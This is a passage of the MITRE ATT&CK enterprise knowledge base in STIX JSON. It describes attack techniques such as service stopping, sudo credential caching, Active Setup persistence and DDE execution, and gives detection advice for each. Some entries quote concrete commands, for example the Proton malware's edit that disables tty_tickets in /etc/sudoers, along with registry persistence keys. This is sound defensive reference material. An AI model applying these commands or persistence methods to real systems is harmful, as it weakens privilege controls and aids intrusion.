occurs.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","type":"attack-pattern","created":"2019-03-29T19:00:55.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1489","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1489"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"SecureWorks WannaCry Analysis","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."}],"modified":"2021-03-02T22:11:32.017Z","name":"Service Stop","description":"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Service: Service Metadata","File: File Modification","Windows Registry: Windows Registry Key Modification","Process: Process Termination","Command: Command Execution"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","type":"attack-pattern","created":"2020-10-01T01:33:01.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.001","url":"https://attack.mitre.org/techniques/T1587/001"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"ActiveMalwareEnergy","description":"Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.","url":"https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"},{"source_name":"FBI Flash FIN7 USB","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."},{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2022-01-14T17:14:27.890Z","name":"Malware","description":"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata","Malware Repository: Malware Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302","type":"attack-pattern","created":"2017-05-31T21:31:33.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1121","url":"https://attack.mitre.org/techniques/T1121"},{"url":"https://msdn.microsoft.com/en-us/library/04za0hca.aspx","description":"Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.","source_name":"MSDN Regsvcs"},{"source_name":"MSDN Regasm","description":"Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"},{"source_name":"LOLBAS Regsvcs","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/","description":"LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."},{"description":"LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Regasm/","source_name":"LOLBAS Regasm"}],"modified":"2020-01-31T19:00:30.734Z","name":"Regsvcs/Regasm","description":"Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1206","url":"https://attack.mitre.org/techniques/T1206"},{"url":"https://www.sudo.ws/","description":"Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.","source_name":"sudo man page 2018"},{"url":"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does","description":"Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.","source_name":"cybereason osx proton"}],"modified":"2020-02-05T20:10:18.586Z","name":"Sudo Caching","description":"The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","type":"attack-pattern","created":"2020-02-21T21:08:26.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1087.002","url":"https://attack.mitre.org/techniques/T1087/002"},{"external_id":"CAPEC-575","source_name":"capec","url":"https://capec.mitre.org/data/definitions/575.html"}],"modified":"2021-10-13T14:05:14.784Z","name":"Domain Account","description":"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","type":"attack-pattern","created":"2020-12-18T16:33:13.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.014","url":"https://attack.mitre.org/techniques/T1547/014"},{"source_name":"Klein Active Setup 2010","url":"https://helgeklein.com/blog/2010/04/active-setup-explained/","description":"Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020."},{"source_name":"Mandiant Glyer APT 2010","url":"https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf","description":"Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020."},{"source_name":"Citizenlab Packrat 2015","url":"https://citizenlab.ca/2015/12/packrat-report/","description":"Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020."},{"source_name":"FireEye CFR Watering Hole 2012","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."},{"source_name":"SECURELIST Bright Star 2015","url":"https://securelist.com/whos-really-spreading-through-the-bright-star/68978/","description":"Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020."},{"source_name":"paloalto Tropic Trooper 2016","url":"https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","description":"Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2021-03-05T22:36:37.414Z","name":"Active Setup","description":"Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code>.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Windows Registry: Windows Registry Key Creation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","type":"attack-pattern","created":"2020-02-26T17:41:25.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564","url":"https://attack.mitre.org/techniques/T1564"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","source_name":"Cybereason OSX Pirrit"},{"url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","source_name":"MalwareBytes ADS July 2015"},{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2022-03-25T15:59:09.632Z","name":"Hide Artifacts","description":"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Metadata","File: File Modification","Process: Process Creation","Service: Service Creation","Process: OS API Execution","File: File Metadata","User Account: User Account Creation","Script: Script Execution","Firmware: Firmware Modification","Windows Registry: Windows Registry Key Modification","File: File Creation","Command: Command Execution","Application Log: Application Log Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","type":"attack-pattern","created":"2020-02-12T14:10:50.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1559.002","url":"https://attack.mitre.org/techniques/T1559/002"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","source_name":"Microsoft ADV170021 Dec 2017"},{"url":"https://technet.microsoft.com/library/security/4053440","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","source_name":"Microsoft DDE Advisory Nov 2017"},{"url":"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/","description":"El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.","source_name":"SensePost PS DDE May 2016"},{"url":"https://www.contextis.com/blog/comma-separated-vulnerabilities","description":"Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.","source_name":"Kettle CSV DDE Aug 2014"},{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"},{"url":"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/","description":"Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.","source_name":"SensePost MacroLess DDE Oct 2017"},{"source_name":"OWASP CSV Injection","url":"https://owasp.org/www-community/attacks/CSV_Injection","description":" Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022."},{"source_name":"CSV Excel Macro Injection ","url":"https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/","description":" Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022."},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/","description":"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.","source_name":"NVisio Labs DDE Detection Oct 2017"}],"modified":"2022-02-22T13:22:30.191Z","name":"Dynamic Data Exchange","description":"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Script: Script Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["TruKno"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","type":"attack-pattern","created":"2020-03-11T14:49:36.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1204.002","url":"https://attack.mitre.org/techniques/T1204/002"},{"source_name":"Password Protected Word Docs","url":" https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/","description":"Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022."}],"modified":"2022-01-05T21:02:22.796Z","name":"Malicious File","description":"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f","type":"attack-pattern","created":"2020-10-02T16:34:32.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.003","url":"https://attack.mitre.org/techniques/T1591/003"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:38:31.983Z","name":"Identify Business Tempo","description":"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases 